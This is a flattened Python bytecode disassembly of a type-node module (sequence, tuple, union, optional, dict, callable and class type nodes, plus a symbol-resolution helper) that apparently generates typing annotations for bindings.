LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object is_resolved at 0x7f8e2ff5e810, file "f.py", line 678> LOAD_CONST 'AggregatedTypeNode.is_resolved' MAKE_FUNCTION CALL_FUNCTION STORE_NAME is_resolved LOAD_NAME ASTNode LOAD_CONST None LOAD_CONST ('root', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object resolve at 0x7f8e2ff5e270, file "f.py", line 682> LOAD_CONST 'AggregatedTypeNode.resolve' MAKE_FUNCTION STORE_NAME resolve LOAD_CONST <code object __iter__ at 0x7f8e2ff5e5d0, file "f.py", line 696> LOAD_CONST 'AggregatedTypeNode.__iter__' MAKE_FUNCTION STORE_NAME __iter__ LOAD_NAME int LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object __len__ at 0x7f8e2ff5e030, file "f.py", line 699> LOAD_CONST 'AggregatedTypeNode.__len__' MAKE_FUNCTION STORE_NAME __len__ LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_definition_imports at 0x7f8e2ff5eb70, file "f.py", line 702> LOAD_CONST 'AggregatedTypeNode.required_definition_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_definition_imports LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_usage_imports at 0x7f8e2ff5e150, file "f.py", line 707> LOAD_CONST 'AggregatedTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name CALL_METHOD POP_TOP LOAD_GLOBAL list LOAD_FAST items CALL_FUNCTION LOAD_FAST self STORE_ATTR items LOAD_CONST None RETURN_VALUE LOAD_GLOBAL all LOAD_CONST <code object <genexpr> at 0x7f8e44ccfc00, file "f.py", line 680> LOAD_CONST 'AggregatedTypeNode.is_resolved.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR items GET_ITER CALL_FUNCTION CALL_FUNCTION RETURN_VALUE LOAD_FAST .0 FOR_ITER to 16 STORE_FAST item LOAD_FAST item LOAD_ATTR is_resolved YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE BUILD_LIST STORE_FAST errors SETUP_LOOP to 92 LOAD_GLOBAL filter LOAD_CONST <code object <lambda> at 0x7f8e2ff5e8a0, file "f.py", line 684> LOAD_CONST 'AggregatedTypeNode.resolve.<locals>.<lambda>' MAKE_FUNCTION LOAD_FAST self CALL_FUNCTION GET_ITER FOR_ITER to 90 STORE_FAST item SETUP_EXCEPT to 40 LOAD_FAST item LOAD_METHOD resolve LOAD_FAST root CALL_METHOD POP_TOP POP_BLOCK JUMP_ABSOLUTE DUP_TOP LOAD_GLOBAL TypeResolutionError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 74 LOAD_FAST errors LOAD_METHOD append LOAD_GLOBAL str LOAD_FAST e CALL_FUNCTION CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_ABSOLUTE END_FINALLY JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL len LOAD_FAST errors CALL_FUNCTION LOAD_CONST 0 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_GLOBAL TypeResolutionError LOAD_CONST 'Failed to resolve one of "{}" items. Errors: {}' LOAD_METHOD format LOAD_FAST self LOAD_ATTR full_typename LOAD_FAST errors CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST item LOAD_ATTR is_resolved UNARY_NOT RETURN_VALUE LOAD_GLOBAL iter LOAD_FAST self LOAD_ATTR items CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR items CALL_FUNCTION RETURN_VALUE SETUP_LOOP to 26 LOAD_FAST self GET_ITER FOR_ITER to 24 STORE_FAST item LOAD_FAST item LOAD_ATTR required_definition_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE SETUP_LOOP to 26 LOAD_FAST self GET_ITER FOR_ITER to 24 STORE_FAST item LOAD_FAST item LOAD_ATTR required_usage_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ContainerTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Base type node for all type nodes representing a container type.' STORE_NAME __doc__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7f8e2ff5e780, file "f.py", line 716> LOAD_CONST 'ContainerTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object full_typename at 0x7f8e2ff5ec00, file "f.py", line 722> LOAD_CONST 'ContainerTypeNode.full_typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME full_typename LOAD_NAME str LOAD_NAME str LOAD_CONST ('module', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object relative_typename at 0x7f8e2ff5e0c0, file "f.py", line 728> LOAD_CONST 'ContainerTypeNode.relative_typename' MAKE_FUNCTION STORE_NAME relative_typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object required_definition_imports at 0x7f8e2ff5e6f0, file "f.py", line 733> LOAD_CONST 'ContainerTypeNode.required_definition_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_definition_imports LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object required_usage_imports at 0x7f8e2ff5e660, file "f.py", line 738> LOAD_CONST 'ContainerTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_NAME abc LOAD_ATTR abstractproperty LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object type_format at 0x7f8e2ff5e1e0, file "f.py", line 744> LOAD_CONST 'ContainerTypeNode.type_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type_format LOAD_NAME abc LOAD_ATTR abstractproperty LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object types_separator at 0x7f8e2ff5edb0, file "f.py", line 748> LOAD_CONST 'ContainerTypeNode.types_separator' MAKE_FUNCTION CALL_FUNCTION STORE_NAME types_separator LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_FAST self LOAD_ATTR type_format LOAD_METHOD format LOAD_FAST self LOAD_ATTR types_separator LOAD_METHOD join LOAD_CONST <code object <genexpr> at 0x7f8e2ff5ea50, file "f.py", line 719> LOAD_CONST 'ContainerTypeNode.typename.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self GET_ITER CALL_FUNCTION CALL_METHOD CALL_METHOD RETURN_VALUE LOAD_FAST .0 FOR_ITER to 16 STORE_FAST item LOAD_FAST item LOAD_ATTR typename YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR type_format LOAD_METHOD format LOAD_FAST self LOAD_ATTR types_separator LOAD_METHOD join LOAD_CONST <code object <genexpr> at 0x7f8e2ff5ef60, file "f.py", line 725> LOAD_CONST 'ContainerTypeNode.full_typename.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self GET_ITER CALL_FUNCTION CALL_METHOD CALL_METHOD RETURN_VALUE LOAD_FAST .0 FOR_ITER to 16 STORE_FAST item LOAD_FAST item LOAD_ATTR full_typename YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR type_format LOAD_METHOD format LOAD_FAST self LOAD_ATTR types_separator LOAD_METHOD join LOAD_CLOSURE module BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7f8e2ff5e390, file "f.py", line 730> LOAD_CONST 'ContainerTypeNode.relative_typename.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self GET_ITER CALL_FUNCTION CALL_METHOD CALL_METHOD RETURN_VALUE LOAD_FAST .0 FOR_ITER to 20 STORE_FAST item LOAD_FAST item LOAD_METHOD relative_typename LOAD_DEREF module CALL_METHOD YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST 'import typing as _typing' YIELD_VALUE POP_TOP LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR required_definition_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL TypeNode LOAD_ATTR compatible_to_runtime_usage POP_JUMP_IF_FALSE LOAD_CONST 'import typing as _typing' YIELD_VALUE POP_TOP LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR required_usage_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'SequenceTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing a homogeneous collection of elements with\n possible unknown length.\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_NAME TypeNode LOAD_CONST None LOAD_CONST ('ctype_name', 'item', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7f8af177a030, file "f.py", line 758> LOAD_CONST 'SequenceTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object type_format at 0x7f8af177a0c0, file "f.py", line 761> LOAD_CONST 'SequenceTypeNode.type_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type_format LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object types_separator at 0x7f8af177a150, file "f.py", line 765> LOAD_CONST 'SequenceTypeNode.types_separator' MAKE_FUNCTION CALL_FUNCTION STORE_NAME types_separator LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name LOAD_FAST item BUILD_TUPLE CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST '_typing.Sequence[{}]' RETURN_VALUE LOAD_CONST ', ' RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TupleTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing possibly heterogeneous collection of types with\n possibly unspecified length.\n ' STORE_NAME __doc__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object type_format at 0x7f8af177a390, file "f.py", line 775> LOAD_CONST 'TupleTypeNode.type_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type_format LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object types_separator at 0x7f8af177a420, file "f.py", line 781> LOAD_CONST 'TupleTypeNode.types_separator' MAKE_FUNCTION CALL_FUNCTION STORE_NAME types_separator LOAD_CONST None RETURN_VALUE LOAD_GLOBAL TypeNode LOAD_ATTR compatible_to_runtime_usage POP_JUMP_IF_FALSE LOAD_CONST '_typing.Tuple[{}]' RETURN_VALUE LOAD_CONST 'tuple[{}]' RETURN_VALUE LOAD_CONST ', ' RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'UnionTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing type that can be one of the predefined set of types.' STORE_NAME __doc__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object type_format at 0x7f8af177a540, file "f.py", line 789> LOAD_CONST 'UnionTypeNode.type_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type_format LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object types_separator at 0x7f8af177a5d0, file "f.py", line 795> LOAD_CONST 'UnionTypeNode.types_separator' MAKE_FUNCTION CALL_FUNCTION STORE_NAME types_separator LOAD_CONST None RETURN_VALUE LOAD_GLOBAL TypeNode LOAD_ATTR compatible_to_runtime_usage POP_JUMP_IF_FALSE LOAD_CONST '_typing.Union[{}]' RETURN_VALUE LOAD_CONST '{}' RETURN_VALUE LOAD_GLOBAL TypeNode LOAD_ATTR compatible_to_runtime_usage POP_JUMP_IF_FALSE LOAD_CONST ', ' RETURN_VALUE LOAD_CONST ' | ' RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'OptionalTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing optional type which is effectively is a union\n of value type node and None.\n ' STORE_NAME __doc__ LOAD_NAME TypeNode LOAD_CONST None LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7f8af177a6f0, file "f.py", line 807> LOAD_CONST 'OptionalTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object type_format at 0x7f8af177a780, file "f.py", line 810> LOAD_CONST 'OptionalTypeNode.type_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type_format LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object types_separator at 0x7f8af177a810, file "f.py", line 816> LOAD_CONST 'OptionalTypeNode.types_separator' MAKE_FUNCTION CALL_FUNCTION STORE_NAME types_separator LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST value LOAD_ATTR ctype_name LOAD_FAST value BUILD_TUPLE CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL TypeNode LOAD_ATTR compatible_to_runtime_usage POP_JUMP_IF_FALSE LOAD_CONST '_typing.Optional[{}]' RETURN_VALUE LOAD_CONST '{} | None' RETURN_VALUE LOAD_CONST ', ' RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'DictTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing a homogeneous key-value mapping.' STORE_NAME __doc__ LOAD_NAME str LOAD_NAME TypeNode LOAD_NAME TypeNode LOAD_CONST None LOAD_CONST ('ctype_name', 'key_type', 'value_type', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7f8af177aa50, file "f.py", line 824> LOAD_CONST 'DictTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME TypeNode LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object key_type at 0x7f8af177aae0, file "f.py", line 829> LOAD_CONST 'DictTypeNode.key_type' MAKE_FUNCTION CALL_FUNCTION STORE_NAME key_type LOAD_NAME property LOAD_NAME TypeNode LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object value_type at 0x7f8af177ab70, file "f.py", line 833> LOAD_CONST 'DictTypeNode.value_type' MAKE_FUNCTION CALL_FUNCTION STORE_NAME value_type LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object type_format at 0x7f8af177ac00, file "f.py", line 837> LOAD_CONST 'DictTypeNode.type_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type_format LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object types_separator at 0x7f8af177ac90, file "f.py", line 843> LOAD_CONST 'DictTypeNode.types_separator' MAKE_FUNCTION CALL_FUNCTION STORE_NAME types_separator LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name LOAD_FAST key_type LOAD_FAST value_type BUILD_TUPLE CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR items LOAD_CONST 0 BINARY_SUBSCR RETURN_VALUE LOAD_FAST self LOAD_ATTR items LOAD_CONST 1 BINARY_SUBSCR RETURN_VALUE LOAD_GLOBAL TypeNode LOAD_ATTR compatible_to_runtime_usage POP_JUMP_IF_FALSE LOAD_CONST '_typing.Dict[{}]' RETURN_VALUE LOAD_CONST 'dict[{}]' RETURN_VALUE LOAD_CONST ', ' RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CallableTypeNode' STORE_NAME __qualname__ LOAD_CONST "Type node representing a callable type (most probably a function).\n\n ```python\n CallableTypeNode(\n 'image_reading_callback',\n arg_types=(ASTNodeTypeNode('Image'), PrimitiveTypeNode.float_())\n )\n ```\n defines a callable type node representing a function with the same\n interface as the following\n ```python\n def image_reading_callback(image: Image, timestamp: float) -> None: ...\n ```\n " STORE_NAME __doc__ LOAD_NAME NoneTypeNode LOAD_CONST 'void' CALL_FUNCTION BUILD_TUPLE LOAD_NAME str LOAD_NAME Union LOAD_NAME TypeNode LOAD_NAME Sequence LOAD_NAME TypeNode BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR LOAD_NAME TypeNode LOAD_CONST None LOAD_CONST ('ctype_name', 'arg_types', 'ret_type', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7f8af177adb0, file "f.py", line 864> LOAD_CONST 'CallableTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME Sequence LOAD_NAME TypeNode BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object arg_types at 0x7f8af177ae40, file "f.py", line 875> LOAD_CONST 'CallableTypeNode.arg_types' MAKE_FUNCTION CALL_FUNCTION STORE_NAME arg_types LOAD_NAME property LOAD_NAME TypeNode LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object ret_type at 0x7f8af177aed0, file "f.py", line 879> LOAD_CONST 'CallableTypeNode.ret_type' MAKE_FUNCTION CALL_FUNCTION STORE_NAME ret_type LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7f8af1743030, file "f.py", line 883> LOAD_CONST 'CallableTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object full_typename at 0x7f8af1743150, file "f.py", line 889> LOAD_CONST 'CallableTypeNode.full_typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME full_typename LOAD_NAME str LOAD_NAME str LOAD_CONST ('module', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object relative_typename at 0x7f8af1743270, file "f.py", line 896> LOAD_CONST 'CallableTypeNode.relative_typename' MAKE_FUNCTION STORE_NAME relative_typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object required_definition_imports at 0x7f8af1743300, file "f.py", line 902> LOAD_CONST 'CallableTypeNode.required_definition_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_definition_imports LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object required_usage_imports at 0x7f8af1743390, file "f.py", line 907> LOAD_CONST 'CallableTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST arg_types LOAD_GLOBAL TypeNode CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name LOAD_FAST arg_types LOAD_FAST ret_type BUILD_TUPLE CALL_METHOD POP_TOP JUMP_FORWARD to 50 LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name LOAD_FAST arg_types LOAD_FAST ret_type BUILD_TUPLE BUILD_TUPLE CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR items LOAD_CONST None LOAD_CONST -1 BUILD_SLICE BINARY_SUBSCR RETURN_VALUE LOAD_FAST self LOAD_ATTR items LOAD_CONST -1 BINARY_SUBSCR RETURN_VALUE LOAD_CONST '_typing.Callable[[{}], {}]' LOAD_METHOD format LOAD_CONST ', ' LOAD_METHOD join LOAD_CONST <code object <genexpr> at 0x7f8af177af60, file "f.py", line 886> LOAD_CONST 'CallableTypeNode.typename.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR arg_types GET_ITER CALL_FUNCTION CALL_METHOD LOAD_FAST self LOAD_ATTR ret_type LOAD_ATTR typename CALL_METHOD RETURN_VALUE LOAD_FAST .0 FOR_ITER to 16 STORE_FAST arg LOAD_FAST arg LOAD_ATTR typename YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST '_typing.Callable[[{}], {}]' LOAD_METHOD format LOAD_CONST ', ' LOAD_METHOD join LOAD_CONST <code object <genexpr> at 0x7f8af17430c0, file "f.py", line 892> LOAD_CONST 'CallableTypeNode.full_typename.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR arg_types GET_ITER CALL_FUNCTION CALL_METHOD LOAD_FAST self LOAD_ATTR ret_type LOAD_ATTR full_typename CALL_METHOD RETURN_VALUE LOAD_FAST .0 FOR_ITER to 16 STORE_FAST arg LOAD_FAST arg LOAD_ATTR full_typename YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST '_typing.Callable[[{}], {}]' LOAD_METHOD format LOAD_CONST ', ' LOAD_METHOD join LOAD_CLOSURE module BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7f8af17431e0, file "f.py", line 898> LOAD_CONST 'CallableTypeNode.relative_typename.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR arg_types GET_ITER CALL_FUNCTION CALL_METHOD LOAD_FAST self LOAD_ATTR ret_type LOAD_METHOD relative_typename LOAD_DEREF module CALL_METHOD CALL_METHOD RETURN_VALUE LOAD_FAST .0 FOR_ITER to 20 STORE_FAST arg LOAD_FAST arg LOAD_METHOD relative_typename LOAD_DEREF module CALL_METHOD YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST 'import typing as _typing' YIELD_VALUE POP_TOP LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR required_definition_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST 'import typing as _typing' YIELD_VALUE POP_TOP LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR required_usage_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ClassTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing types themselves (refer to typing.Type)' STORE_NAME __doc__ LOAD_NAME TypeNode LOAD_CONST None LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7f8af17434b0, file "f.py", line 916> LOAD_CONST 'ClassTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object type_format at 0x7f8af1743540, file "f.py", line 919> LOAD_CONST 'ClassTypeNode.type_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type_format LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object types_separator at 0x7f8af17435d0, file "f.py", line 923> LOAD_CONST 'ClassTypeNode.types_separator' MAKE_FUNCTION CALL_FUNCTION STORE_NAME types_separator LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST value LOAD_ATTR ctype_name LOAD_FAST value BUILD_TUPLE CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST '_typing.Type[{}]' RETURN_VALUE LOAD_CONST ', ' RETURN_VALUE LOAD_GLOBAL Optional LOAD_GLOBAL ASTNode BINARY_SUBSCR LOAD_GLOBAL str LOAD_GLOBAL Optional LOAD_GLOBAL ASTNode BINARY_SUBSCR LOAD_CONST ('scope', 'scope_sep', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE full_symbol_name BUILD_TUPLE LOAD_CONST <code object search_down_symbol at 0x7f8af17438a0, file "f.py", line 963> LOAD_CONST '_resolve_symbol.<locals>.search_down_symbol' MAKE_FUNCTION STORE_FAST search_down_symbol LOAD_DEREF root LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST "Can't resolve symbol '{}' from NONE root" LOAD_METHOD format LOAD_DEREF full_symbol_name CALL_METHOD CALL_FUNCTION RAISE_VARARGS SETUP_LOOP to 114 LOAD_GLOBAL filter LOAD_CLOSURE root BUILD_TUPLE LOAD_CONST <code object <lambda> at 0x7f8af1743930, file "f.py", line 981> LOAD_CONST '_resolve_symbol.<locals>.<lambda>' MAKE_FUNCTION LOAD_CONST ('namespaces', 'classes', 'enumerations') CALL_FUNCTION GET_ITER FOR_ITER to 112 STORE_FAST attr LOAD_GLOBAL getattr LOAD_DEREF root LOAD_FAST attr CALL_FUNCTION STORE_FAST nodes_dict LOAD_FAST nodes_dict LOAD_METHOD get LOAD_DEREF full_symbol_name LOAD_CONST None CALL_METHOD STORE_FAST node LOAD_FAST node LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST node RETURN_VALUE JUMP_ABSOLUTE POP_BLOCK SETUP_LOOP to 150 LOAD_CONST ('_', '.') GET_ITER FOR_ITER to 148 STORE_FAST scope_sep LOAD_FAST search_down_symbol LOAD_DEREF root LOAD_FAST scope_sep CALL_FUNCTION STORE_FAST node LOAD_FAST node LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST node RETURN_VALUE JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_DEREF full_symbol_name LOAD_ATTR split LOAD_FAST scope_sep LOAD_CONST 1 LOAD_CONST ('maxsplit',) CALL_FUNCTION STORE_FAST parts SETUP_LOOP to 102 LOAD_GLOBAL len LOAD_FAST parts CALL_FUNCTION LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL _resolve_symbol LOAD_FAST scope LOAD_FAST parts LOAD_CONST 0 BINARY_SUBSCR CALL_FUNCTION STORE_FAST scope LOAD_FAST scope LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL _resolve_symbol LOAD_FAST scope LOAD_FAST parts LOAD_CONST 1 BINARY_SUBSCR CALL_FUNCTION STORE_FAST node LOAD_FAST node LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST node RETURN_VALUE LOAD_FAST parts LOAD_CONST 1 BINARY_SUBSCR LOAD_ATTR split LOAD_FAST scope_sep LOAD_CONST 1 LOAD_CONST ('maxsplit',) CALL_FUNCTION STORE_FAST parts JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL hasattr LOAD_DEREF root LOAD_FAST attr CALL_FUNCTION RETURN_VALUE
